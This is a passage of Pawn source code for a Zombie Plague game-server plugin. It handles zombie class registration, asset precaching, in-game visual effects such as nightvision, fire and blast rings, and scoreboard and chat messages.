		formatex(prec_mdl, charsmax(prec_mdl), "models/zp/hands/%s", buffer)
		engfunc(EngFunc_PrecacheModel, prec_mdl)
		
		// Replace health
		buffer[0] = ArrayGetCell(g_zclass2_hp, i)
		ArraySetCell(g_zclass_hp, g_zclass_i, buffer[0])
		
		// Replace speed
		buffer[0] = ArrayGetCell(g_zclass2_spd, i)
		ArraySetCell(g_zclass_spd, g_zclass_i, buffer[0])
		
		// Replace gravity
		buffer2 = Float:ArrayGetCell(g_zclass2_grav, i)
		ArraySetCell(g_zclass_grav, g_zclass_i, buffer2)

		buffer2 = Float:ArrayGetCell(g_zclass2_kb, i)
		ArraySetCell(Array:g_zclass_kb, g_zclass_i, Float:buffer2)

		ArrayGetString(g_zclass2_bombmodel, i, buffer, charsmax(buffer))
		ArraySetString(g_zclass_bombmodel, g_zclass_i, buffer)

		formatex(prec_bomb, charsmax(prec_bomb), "models/zp/grenade/%s", buffer)
		engfunc(EngFunc_PrecacheModel, prec_bomb)
	}
	
	// If class was not overriden with customization data
	if (ArrayGetCell(g_zclass_new, g_zclass_i))
	{
		// If not using same models for all classes
		if (!g_same_models_for_all)
		{
			// Precache default class model and replace modelindex with the real one
			formatex(prec_mdl, charsmax(prec_mdl), "models/player/%s/%s.mdl", model, model)
			ArraySetCell(g_zclass_modelindex, ArrayGetCell(g_zclass_modelsstart, g_zclass_i), engfunc(EngFunc_PrecacheModel, prec_mdl))
			if (g_force_consistency == 1) force_unmodified(force_model_samebounds, {0,0,0}, {0,0,0}, prec_mdl)
			if (g_force_consistency == 2) force_unmodified(force_exactfile, {0,0,0}, {0,0,0}, prec_mdl)
		}
		
		// Precache default clawmodel
		formatex(prec_mdl, charsmax(prec_mdl), "models/zp/hands/%s", clawmodel)
		engfunc(EngFunc_PrecacheModel, prec_mdl)

		formatex(prec_bomb, charsmax(prec_bomb), "models/zp/grenade/%s", bombmodel)
		engfunc(EngFunc_PrecacheModel, prec_bomb)
		
		new j = g_zclass_i;
		ArrayPushCell(zombie_infect_c, 			Array:ArrayGetCell(sounds, 0));
		ArrayPushCell(zombie_pain_c, 			Array:ArrayGetCell(sounds, 1));
		ArrayPushCell(zombie_die_c, 			Array:ArrayGetCell(sounds, 2));
		ArrayPushCell(zombie_fall_c, 			Array:ArrayGetCell(sounds, 3));
		ArrayPushCell(zombie_miss_slash_c, 		Array:ArrayGetCell(sounds, 4));
		ArrayPushCell(zombie_miss_wall_c, 		Array:ArrayGetCell(sounds, 5));
		ArrayPushCell(zombie_hit_normal_c, 		Array:ArrayGetCell(sounds, 6));
		ArrayPushCell(zombie_hit_stab_c, 		Array:ArrayGetCell(sounds, 7));
		ArrayPushCell(zombie_idle_c, 			Array:ArrayGetCell(sounds, 8));
		ArrayPushCell(zombie_idle_last_c, 		Array:ArrayGetCell(sounds, 9));
		ArrayPushCell(zombie_madness_c, 		Array:ArrayGetCell(sounds, 10));
		ArrayPushCell(grenade_fire_player_c, 	Array:ArrayGetCell(sounds, 11));
		ArrayPushCell(zombie_infect_adv, 		Array:ArrayGetCell(sounds, 12));
		
		// Precache sounds
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_infect_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_infect_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_pain_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_pain_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_die_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_die_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_fall_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_fall_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_miss_slash_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_miss_slash_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_miss_wall_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_miss_wall_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_hit_normal_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_hit_normal_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_hit_stab_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_hit_stab_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_idle_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_idle_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_idle_last_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_idle_last_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_madness_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_madness_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(grenade_fire_player_c, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(grenade_fire_player_c, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
		for(new i = 0;i < ArraySize(Array:ArrayGetCell(zombie_infect_adv, j)); i++)
		{
			ArrayGetString(Array:ArrayGetCell(zombie_infect_adv, j), i, buffer, charsmax(buffer))
			engfunc(EngFunc_PrecacheSound, buffer)
		}
	}
	
	g_zclass_i++
	
	return g_zclass_i-1;
}

public native_get_extra_item_id(const name[]) {
	// ZP disabled
	if (!g_pluginenabled)
		return -1;
	
	// Strings passed byref
	param_convert(1)
	
	// Loop through every item
	static i, item_name[32]
	for (i = 0; i < g_extraitem_i; i++)
	{
		ArrayGetString(g_extraitem_name, i, item_name, charsmax(item_name))
		
		// Check if this is the item to retrieve
		if (equali(name, item_name))
			return i;
	}
	
	return -1;
}

public native_get_zombie_class_id(const name[]) {
	// ZP disabled
	if (!g_pluginenabled)
		return -1;
	
	// Strings passed byref
	param_convert(1)
	
	// Loop through every class
	static i, class_name[32]
	for (i = 0; i < g_zclass_i; i++)
	{
		ArrayGetString(g_zclass_name, i, class_name, charsmax(class_name))
		
		// Check if this is the class to retrieve
		if (equali(name, class_name))
			return i;
	}
	
	return -1;
}

//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
public set_user_nvision(taskid) {
	// Get player's origin
	static origin[3]
	get_user_origin(ID_NVISION, origin)
	
	// Nightvision message
	message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, _, ID_NVISION)
	write_byte(TE_DLIGHT) // TE id
	write_coord(origin[0]) // x
	write_coord(origin[1]) // y
	write_coord(origin[2]) // z
	write_byte(get_pcvar_num(cvar_nvgsize)) // radius
	
	// Nemesis / Madness / Spectator in nemesis round
	if (g_nemesis[ID_NVISION] || (g_zombie[ID_NVISION] && g_nodamage[ID_NVISION]) || (!g_isalive[ID_NVISION] && g_nemround))
	{
		write_byte(get_pcvar_num(cvar_nemnvgcolor[0])) // r
		write_byte(get_pcvar_num(cvar_nemnvgcolor[1])) // g
		write_byte(get_pcvar_num(cvar_nemnvgcolor[2])) // b
	}
	// Human / Spectator in normal round
	else if (!g_zombie[ID_NVISION] || !g_isalive[ID_NVISION])
	{
		write_byte(get_pcvar_num(cvar_humnvgcolor[0])) // r
		write_byte(get_pcvar_num(cvar_humnvgcolor[1])) // g
		write_byte(get_pcvar_num(cvar_humnvgcolor[2])) // b
	}
	// Zombie
	else
	{
		write_byte(get_pcvar_num(cvar_nvgcolor[0])) // r
		write_byte(get_pcvar_num(cvar_nvgcolor[1])) // g
		write_byte(get_pcvar_num(cvar_nvgcolor[2])) // b
	}
	
	write_byte(2) // life
	write_byte(0) // decay rate
	message_end()
}

set_user_gnvision(id, toggle) {
	// Toggle NVG message
	message_begin(MSG_ONE, g_msgNVGToggle, _, id)
	write_byte(toggle) // toggle
	message_end()
}

public set_user_flashlight(taskid) {
	// Get player and aiming origins
	static Float:originF[3], Float:destoriginF[3]
	pev(ID_FLASH, pev_origin, originF)
	fm_get_aim_origin(ID_FLASH, destoriginF)
	
	// Max distance check
	if (get_distance_f(originF, destoriginF) > get_pcvar_float(cvar_flashdist))
		return;
	
	// Send to all players?
	if (get_pcvar_num(cvar_flashshowall))
		engfunc(EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, destoriginF, 0)
	else
		message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, _, ID_FLASH)
	
	// Flashlight
	write_byte(TE_DLIGHT) // TE id
	engfunc(EngFunc_WriteCoord, destoriginF[0]) // x
	engfunc(EngFunc_WriteCoord, destoriginF[1]) // y
	engfunc(EngFunc_WriteCoord, destoriginF[2]) // z
	write_byte(get_pcvar_num(cvar_flashsize)) // radius
	write_byte(get_pcvar_num(cvar_flashcolor[0])) // r
	write_byte(get_pcvar_num(cvar_flashcolor[1])) // g
	write_byte(get_pcvar_num(cvar_flashcolor[2])) // b
	write_byte(3) // life
	write_byte(0) // decay rate
	message_end()
}

infection_effects(id) {
	// Screen fade? (unless frozen)
	if (!g_frozen[id] && get_pcvar_num(cvar_infectionscreenfade))
	{
		message_begin(MSG_ONE_UNRELIABLE, g_msgScreenFade, _, id)
		write_short(UNIT_SECOND) // duration
		write_short(0) // hold time
		write_short(FFADE_IN) // fade type
		if (g_nemesis[id])
		{
			write_byte(get_pcvar_num(cvar_nemnvgcolor[0])) // r
			write_byte(get_pcvar_num(cvar_nemnvgcolor[1])) // g
			write_byte(get_pcvar_num(cvar_nemnvgcolor[2])) // b
		}
		else
		{
			write_byte(get_pcvar_num(cvar_nvgcolor[0])) // r
			write_byte(get_pcvar_num(cvar_nvgcolor[1])) // g
			write_byte(get_pcvar_num(cvar_nvgcolor[2])) // b
		}
		write_byte (255) // alpha
		message_end()
	}
	
	// Screen shake?
	if (get_pcvar_num(cvar_infectionscreenshake))
	{
		message_begin(MSG_ONE_UNRELIABLE, g_msgScreenShake, _, id)
		write_short(UNIT_SECOND*4) // amplitude
		write_short(UNIT_SECOND*2) // duration
		write_short(UNIT_SECOND*10) // frequency
		message_end()
	}
	
	// Infection icon?
	if (get_pcvar_num(cvar_hudicons))
	{
		message_begin(MSG_ONE_UNRELIABLE, g_msgDamage, _, id)
		write_byte(0) // damage save
		write_byte(0) // damage take
		write_long(DMG_NERVEGAS) // damage type - DMG_RADIATION
		write_coord(0) // x
		write_coord(0) // y
		write_coord(0) // z
		message_end()
	}
	
	// Get player's origin
	static origin[3]
	get_user_origin(id, origin)
	
	// Tracers?
	if (get_pcvar_num(cvar_infectiontracers))
	{
		message_begin(MSG_PVS, SVC_TEMPENTITY, origin)
		write_byte(TE_IMPLOSION) // TE id
		write_coord(origin[0]) // x
		write_coord(origin[1]) // y
		write_coord(origin[2]) // z
		write_byte(128) // radius
		write_byte(20) // count
		write_byte(3) // duration
		message_end()
	}
	
	// Particle burst?
	if (get_pcvar_num(cvar_infectionparticles))
	{
		message_begin(MSG_PVS, SVC_TEMPENTITY, origin)
		write_byte(TE_PARTICLEBURST) // TE id
		write_coord(origin[0]) // x
		write_coord(origin[1]) // y
		write_coord(origin[2]) // z
		write_short(50) // radius
		write_byte(70) // color
		write_byte(3) // duration (will be randomized a bit)
		message_end()
	}
	
	// Light sparkle?
	if (get_pcvar_num(cvar_infectionsparkle))
	{
		message_begin(MSG_PVS, SVC_TEMPENTITY, origin)
		write_byte(TE_DLIGHT) // TE id
		write_coord(origin[0]) // x
		write_coord(origin[1]) // y
		write_coord(origin[2]) // z
		write_byte(20) // radius
		write_byte(get_pcvar_num(cvar_nvgcolor[0])) // r
		write_byte(get_pcvar_num(cvar_nvgcolor[1])) // g
		write_byte(get_pcvar_num(cvar_nvgcolor[2])) // b
		write_byte(2) // life
		write_byte(0) // decay rate
		message_end()
	}
}

public zombie_aura(taskid) {
	// Not nemesis, not in zombie madness
	if (!g_nemesis[ID_AURA] && !g_nodamage[ID_AURA])
	{
		// Task not needed anymore
		remove_task(taskid);
		return;
	}
	
	// Get player's origin
	static origin[3]
	get_user_origin(ID_AURA, origin)
	
	// Colored Aura
	message_begin(MSG_PVS, SVC_TEMPENTITY, origin)
	write_byte(TE_DLIGHT) // TE id
	write_coord(origin[0]) // x
	write_coord(origin[1]) // y
	write_coord(origin[2]) // z
	write_byte(20) // radius
	write_byte(get_pcvar_num(cvar_nemnvgcolor[0])) // r
	write_byte(get_pcvar_num(cvar_nemnvgcolor[1])) // g
	write_byte(get_pcvar_num(cvar_nemnvgcolor[2])) // b
	write_byte(2) // life
	write_byte(0) // decay rate
	message_end()
}

public make_blood(taskid) {
	// Only bleed when moving on ground
	if (!(pev(ID_BLOOD, pev_flags) & FL_ONGROUND) || fm_get_speed(ID_BLOOD) < 80)
		return;
	
	// Get user origin
	static Float:originF[3]
	pev(ID_BLOOD, pev_origin, originF)
	
	// If ducking set a little lower
	if (pev(ID_BLOOD, pev_bInDuck))
		originF[2] -= 18.0
	else
		originF[2] -= 36.0
	

}

flare_lighting(entity, duration) {
	// Get origin and color
	static Float:originF[3], color[3]
	pev(entity, pev_origin, originF)
	pev(entity, PEV_FLARE_COLOR, color)
	
	// Lighting
	engfunc(EngFunc_MessageBegin, MSG_PAS, SVC_TEMPENTITY, originF, 0)
	write_byte(TE_DLIGHT) // TE id
	engfunc(EngFunc_WriteCoord, originF[0]) // x
	engfunc(EngFunc_WriteCoord, originF[1]) // y
	engfunc(EngFunc_WriteCoord, originF[2]) // z
	write_byte(get_pcvar_num(cvar_flaresize)) // radius
	write_byte(color[0]) // r
	write_byte(color[1]) // g
	write_byte(color[2]) // b
	write_byte(51) //life
	write_byte((duration < 2) ? 3 : 0) //decay rate
	message_end()
	
	// Sparks
	engfunc(EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, originF, 0)
	write_byte(TE_SPARKS) // TE id
	engfunc(EngFunc_WriteCoord, originF[0]) // x
	engfunc(EngFunc_WriteCoord, originF[1]) // y
	engfunc(EngFunc_WriteCoord, originF[2]) // z
	message_end()
}

public burning_flame(taskid) {
	// Get player origin and flags
	static origin[3], flags
	get_user_origin(ID_BURN, origin)
	flags = pev(ID_BURN, pev_flags)
	
	// Madness mode - in water - burning stopped
	if (g_nodamage[ID_BURN] || (flags & FL_INWATER) || g_burning_duration[ID_BURN] < 1)
	{
		// Smoke sprite
		message_begin(MSG_PVS, SVC_TEMPENTITY, origin)
		write_byte(TE_SMOKE) // TE id
		write_coord(origin[0]) // x
		write_coord(origin[1]) // y
		write_coord(origin[2]-50) // z
		write_short(g_smokeSpr) // sprite
		write_byte(random_num(15, 20)) // scale
		write_byte(random_num(10, 20)) // framerate
		message_end()
		
		// Task not needed anymore
		remove_task(taskid);
		return;
	}
	
	// Randomly play burning zombie scream sounds
	if(!random_num(0, 20))
	{
		static sound[64];
		new cid = g_zombieclass[ID_BURN];
		if(g_nemesis[ID_BURN])
		{
			ArrayGetString(nemesis_gren_fire, random_num(0, ArraySize(nemesis_gren_fire) - 1), sound, charsmax(sound));
			emit_sound(ID_BURN, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM);
		}
		else
		{
			if(ArraySize(Array:ArrayGetCell(grenade_fire_player_c, cid)))
			{
				ArrayGetString(Array:ArrayGetCell(grenade_fire_player_c, cid), random_num(0, ArraySize(Array:ArrayGetCell(grenade_fire_player_c, cid)) - 1), sound, charsmax(sound))
				emit_sound(ID_BURN, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
			} else
			{
				ArrayGetString(grenade_fire_player, random_num(0, ArraySize(grenade_fire_player) - 1), sound, charsmax(sound))
				emit_sound(ID_BURN, CHAN_VOICE, sound, 1.0, ATTN_NORM, 0, PITCH_NORM)
			}
		}
	}
	
	// Fire slow down, unless nemesis
	if (!g_nemesis[ID_BURN] && (flags & FL_ONGROUND) && get_pcvar_float(cvar_fireslowdown) > 0.0)
	{
		static Float:velocity[3]
		pev(ID_BURN, pev_velocity, velocity)
		xs_vec_mul_scalar(velocity, get_pcvar_float(cvar_fireslowdown), velocity)
		set_pev(ID_BURN, pev_velocity, velocity)
	}
	
	// Get player's health
	static health
	health = pev(ID_BURN, pev_health)
	
	// Take damage from the fire
	if (health - floatround(get_pcvar_float(cvar_firedamage), floatround_ceil) > 0)
		fm_set_user_health(ID_BURN, health - floatround(get_pcvar_float(cvar_firedamage), floatround_ceil))
	
	// Flame sprite
	message_begin(MSG_PVS, SVC_TEMPENTITY, origin)
	write_byte(TE_SPRITE) // TE id
	write_coord(origin[0]+random_num(-5, 5)) // x
	write_coord(origin[1]+random_num(-5, 5)) // y
	write_coord(origin[2]+random_num(-10, 10)) // z
	write_short(g_flameSpr) // sprite

	if (g_nemesis[ID_BURN])
		write_byte(random_num(10, 14)) // scale
	else
		write_byte(random_num(4, 8)) // scale

	write_byte(200) // brightness
	message_end()
	
	// Decrease burning duration counter
	g_burning_duration[ID_BURN]--
}

create_blast(const Float:originF[3]) {
	// Smallest ring
	engfunc(EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, originF, 0)
	write_byte(TE_BEAMCYLINDER) // TE id
	engfunc(EngFunc_WriteCoord, originF[0]) // x
	engfunc(EngFunc_WriteCoord, originF[1]) // y
	engfunc(EngFunc_WriteCoord, originF[2]) // z
	engfunc(EngFunc_WriteCoord, originF[0]) // x axis
	engfunc(EngFunc_WriteCoord, originF[1]) // y axis
	engfunc(EngFunc_WriteCoord, originF[2]+385.0) // z axis
	write_short(g_exploSpr) // sprite
	write_byte(0) // startframe
	write_byte(0) // framerate
	write_byte(4) // life
	write_byte(60) // width
	write_byte(0) // noise
	write_byte(0) // red
	write_byte(200) // green
	write_byte(0) // blue
	write_byte(200) // brightness
	write_byte(0) // speed
	message_end()
	
	// Medium ring
	engfunc(EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, originF, 0)
	write_byte(TE_BEAMCYLINDER) // TE id
	engfunc(EngFunc_WriteCoord, originF[0]) // x
	engfunc(EngFunc_WriteCoord, originF[1]) // y
	engfunc(EngFunc_WriteCoord, originF[2]) // z
	engfunc(EngFunc_WriteCoord, originF[0]) // x axis
	engfunc(EngFunc_WriteCoord, originF[1]) // y axis
	engfunc(EngFunc_WriteCoord, originF[2]+470.0) // z axis
	write_short(g_exploSpr) // sprite
	write_byte(0) // startframe
	write_byte(0) // framerate
	write_byte(4) // life
	write_byte(60) // width
	write_byte(0) // noise
	write_byte(0) // red
	write_byte(200) // green
	write_byte(0) // blue
	write_byte(200) // brightness
	write_byte(0) // speed
	message_end()
	
	// Largest ring
	engfunc(EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, originF, 0)
	write_byte(TE_BEAMCYLINDER) // TE id
	engfunc(EngFunc_WriteCoord, originF[0]) // x
	engfunc(EngFunc_WriteCoord, originF[1]) // y
	engfunc(EngFunc_WriteCoord, originF[2]) // z
	engfunc(EngFunc_WriteCoord, originF[0]) // x axis
	engfunc(EngFunc_WriteCoord, originF[1]) // y axis
	engfunc(EngFunc_WriteCoord, originF[2]+555.0) // z axis
	write_short(g_exploSpr) // sprite
	write_byte(0) // startframe
	write_byte(0) // framerate
	write_byte(4) // life
	write_byte(60) // width
	write_byte(0) // noise
	write_byte(0) // red
	write_byte(200) // green
	write_byte(0) // blue
	write_byte(200) // brightness
	write_byte(0) // speed
	message_end()
}

create_blast2(const Float:originF[3]) {
	// Smallest ring
	engfunc(EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, originF, 0)
	write_byte(TE_BEAMCYLINDER) // TE id
	engfunc(EngFunc_WriteCoord, originF[0]) // x
	engfunc(EngFunc_WriteCoord, originF[1]) // y
	engfunc(EngFunc_WriteCoord, originF[2]) // z
	engfunc(EngFunc_WriteCoord, originF[0]) // x axis
	engfunc(EngFunc_WriteCoord, originF[1]) // y axis
	engfunc(EngFunc_WriteCoord, originF[2]+385.0) // z axis
	write_short(g_exploSpr) // sprite
	write_byte(0) // startframe
	write_byte(0) // framerate
	write_byte(4) // life
	write_byte(60) // width
	write_byte(0) // noise
	write_byte(200) // red
	write_byte(100) // green
	write_byte(0) // blue
	write_byte(200) // brightness
	write_byte(0) // speed
	message_end()
	
	// Medium ring
	engfunc(EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, originF, 0)
	write_byte(TE_BEAMCYLINDER) // TE id
	engfunc(EngFunc_WriteCoord, originF[0]) // x
	engfunc(EngFunc_WriteCoord, originF[1]) // y
	engfunc(EngFunc_WriteCoord, originF[2]) // z
	engfunc(EngFunc_WriteCoord, originF[0]) // x axis
	engfunc(EngFunc_WriteCoord, originF[1]) // y axis
	engfunc(EngFunc_WriteCoord, originF[2]+470.0) // z axis
	write_short(g_exploSpr) // sprite
	write_byte(0) // startframe
	write_byte(0) // framerate
	write_byte(4) // life
	write_byte(60) // width
	write_byte(0) // noise
	write_byte(200) // red
	write_byte(50) // green
	write_byte(0) // blue
	write_byte(200) // brightness
	write_byte(0) // speed
	message_end()
	
	// Largest ring
	engfunc(EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, originF, 0)
	write_byte(TE_BEAMCYLINDER) // TE id
	engfunc(EngFunc_WriteCoord, originF[0]) // x
	engfunc(EngFunc_WriteCoord, originF[1]) // y
	engfunc(EngFunc_WriteCoord, originF[2]) // z
	engfunc(EngFunc_WriteCoord, originF[0]) // x axis
	engfunc(EngFunc_WriteCoord, originF[1]) // y axis
	engfunc(EngFunc_WriteCoord, originF[2]+555.0) // z axis
	write_short(g_exploSpr) // sprite
	write_byte(0) // startframe
	write_byte(0) // framerate
	write_byte(4) // life
	write_byte(60) // width
	write_byte(0) // noise
	write_byte(200) // red
	write_byte(0) // green
	write_byte(0) // blue
	write_byte(200) // brightness
	write_byte(0) // speed
	message_end()
}

create_blast3(const Float:originF[3]) {
	// Smallest ring
	engfunc(EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, originF, 0)
	write_byte(TE_BEAMCYLINDER) // TE id
	engfunc(EngFunc_WriteCoord, originF[0]) // x
	engfunc(EngFunc_WriteCoord, originF[1]) // y
	engfunc(EngFunc_WriteCoord, originF[2]) // z
	engfunc(EngFunc_WriteCoord, originF[0]) // x axis
	engfunc(EngFunc_WriteCoord, originF[1]) // y axis
	engfunc(EngFunc_WriteCoord, originF[2]+385.0) // z axis
	write_short(g_exploSpr) // sprite
	write_byte(0) // startframe
	write_byte(0) // framerate
	write_byte(4) // life
	write_byte(60) // width
	write_byte(0) // noise
	write_byte(0) // red
	write_byte(100) // green
	write_byte(200) // blue
	write_byte(200) // brightness
	write_byte(0) // speed
	message_end()
	
	// Medium ring
	engfunc(EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, originF, 0)
	write_byte(TE_BEAMCYLINDER) // TE id
	engfunc(EngFunc_WriteCoord, originF[0]) // x
	engfunc(EngFunc_WriteCoord, originF[1]) // y
	engfunc(EngFunc_WriteCoord, originF[2]) // z
	engfunc(EngFunc_WriteCoord, originF[0]) // x axis
	engfunc(EngFunc_WriteCoord, originF[1]) // y axis
	engfunc(EngFunc_WriteCoord, originF[2]+470.0) // z axis
	write_short(g_exploSpr) // sprite
	write_byte(0) // startframe
	write_byte(0) // framerate
	write_byte(4) // life
	write_byte(60) // width
	write_byte(0) // noise
	write_byte(0) // red
	write_byte(100) // green
	write_byte(200) // blue
	write_byte(200) // brightness
	write_byte(0) // speed
	message_end()
	
	// Largest ring
	engfunc(EngFunc_MessageBegin, MSG_PVS, SVC_TEMPENTITY, originF, 0)
	write_byte(TE_BEAMCYLINDER) // TE id
	engfunc(EngFunc_WriteCoord, originF[0]) // x
	engfunc(EngFunc_WriteCoord, originF[1]) // y
	engfunc(EngFunc_WriteCoord, originF[2]) // z
	engfunc(EngFunc_WriteCoord, originF[0]) // x axis
	engfunc(EngFunc_WriteCoord, originF[1]) // y axis
	engfunc(EngFunc_WriteCoord, originF[2]+555.0) // z axis
	write_short(g_exploSpr) // sprite
	write_byte(0) // startframe
	write_byte(0) // framerate
	write_byte(4) // life
	write_byte(60) // width
	write_byte(0) // noise
	write_byte(0) // red
	write_byte(100) // green
	write_byte(200) // blue
	write_byte(200) // brightness
	write_byte(0) // speed
	message_end()
}

FixDeadAttrib(id) {
	message_begin(MSG_BROADCAST, g_msgScoreAttrib)
	write_byte(id) // id
	write_byte(0) // attrib
	message_end()
}

SendDeathMsg(attacker, victim) {
	message_begin(MSG_BROADCAST, g_msgDeathMsg)
	write_byte(attacker) // killer
	write_byte(victim) // victim
	write_byte(1) // headshot flag
	write_string("infection") // killer's weapon
	message_end()
}

UpdateFrags(attacker, victim, frags, deaths, scoreboard) {
	if(!is_user_valid_connected(attacker) || !is_user_valid_connected(victim))
		return;

	// Set attacker frags
	set_pev(attacker, pev_frags, float(pev(attacker, pev_frags) + frags))

	// Set victim deaths
	fm_cs_set_user_deaths(victim, cs_get_user_deaths(victim) + deaths)

	// Update scoreboard with attacker and victim info
	if(scoreboard)
	{
		message_begin(MSG_BROADCAST, g_msgScoreInfo)
		write_byte(attacker) // id
		write_short(pev(attacker, pev_frags)) // frags
		write_short(cs_get_user_deaths(attacker)) // deaths
		write_short(0) // class?
		write_short(fm_cs_get_user_team(attacker)) // team
		message_end()

		message_begin(MSG_BROADCAST, g_msgScoreInfo)
		write_byte(victim) // id
		write_short(pev(victim, pev_frags)) // frags
		write_short(cs_get_user_deaths(victim)) // deaths
		write_short(0) // class?
		write_short(fm_cs_get_user_team(victim)) // team
		message_end()
	}
}

public death_message( Killer, Victim, const Weapon [ ], ScoreBoard ) {
	ExecuteHamB(Ham_Killed, Victim, Killer, 0)

	if ( ScoreBoard )
	{
		message_begin(MSG_BROADCAST, get_user_msgid ( "ScoreInfo" ))
		write_byte( Killer ) // id
		write_short(pev(Killer, pev_frags)) // frags
		write_short(cs_get_user_deaths(Killer)) // deaths
		write_short(0) // class?
		write_short(get_user_team(Killer)) // team
		message_end()
		
		message_begin(MSG_BROADCAST, get_user_msgid ( "ScoreInfo" ))
		write_byte(Victim) // id
		write_short(pev(Victim, pev_frags)) // frags
		write_short(cs_get_user_deaths(Victim)) // deaths
		write_short(0) // class?
		write_short(get_user_team(Victim)) // team
		message_end()
	}
}

RemoveFrags(attacker, victim) {
	// Remove attacker frags
	set_pev(attacker, pev_frags, float(pev(attacker, pev_frags) - 1))
	
	// Remove victim deaths
	fm_cs_set_user_deaths(victim, cs_get_user_deaths(victim) - 1)
}

PlaySound(const sound[]) {
	client_cmd(0, "spk ^"%s^"", sound)
}

zp_colored_print(target, const message[], any:...) {
	static buffer[512], i, argscount
	argscount = numargs()
	
	if (!target)
	{
		static player
		for (player = 1; player <= g_maxplayers; player++)
		{
			if (!g_isconnected[player])
				continue;
			
			static changed[5], changedcount // [5] = max LANG_PLAYER occurencies
			changedcount = 0
			
			for (i = 2; i < argscount; i++)
			{
				if (getarg(i) == LANG_PLAYER)
				{
					setarg(i, 0, player)
					changed[changedcount] = i
					changedcount++
				}
			}
			
			vformat(buffer, charsmax(buffer), message, 3)
			
			message_begin(MSG_ONE_UNRELIABLE, g_msgSayText, _, player)
			write_byte(player)
			write_string(buffer)
			message_end()
			
			for (i = 0; i < changedcount; i++)
				setarg(changed[i], 0, LANG_PLAYER)
		}
	}
	else
	{
		/*
		// Not needed since you should set the ML argument
		// to the player's id for a targeted print message
		
		// Replace LANG_PLAYER with player id
		for (i = 2; i < argscount; i++)
		{
			if (getarg(i) == LANG_PLAYER)
				setarg(i, 0, target)
		}
		*/
		
		vformat(buffer, charsmax(buffer), message, 3)
		
		message_begin(MSG_ONE, g_msgSayText, _, target)
		write_byte(target)
		write_string(buffer)
		message_end()
	}
}

//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
stock fm_fakedamage(victim, const classname[], Float:takedmgdamage, damagetype) {
	new class[] = "trigger_hurt"
	new entity = fm_create_entity(class)
	if (!entity)
		return 0

	new value[16]
	float_to_str(takedmgdamage * 2, value, sizeof value - 1)
	fm_set_kvd(entity, "dmg", value, class)

	num_to_str(damagetype, value, sizeof value - 1)
	fm_set_kvd(entity, "damagetype", value, class)

	fm_set_kvd(entity, "origin", "8192 8192 8192", class)
	fm_DispatchSpawn(entity)

	set_pev(entity, pev_classname, classname)
	fm_fake_touch(entity, victim)
	fm_remove_entity(entity)

	return 1
}

stock fm_remove_entity_name(const classname[]) {
	new ent = -1, num = 0
	while ((ent = fm_find_ent_by_class(ent, classname)))
		num += fm_remove_entity(ent)

	return num
}

stock fm_fake_touch(toucher, touched) {
	return dllfunc(DLLFunc_Touch, toucher, touched)
}

stock fm_DispatchSpawn(entity) {
	return dllfunc(DLLFunc_Spawn, entity)
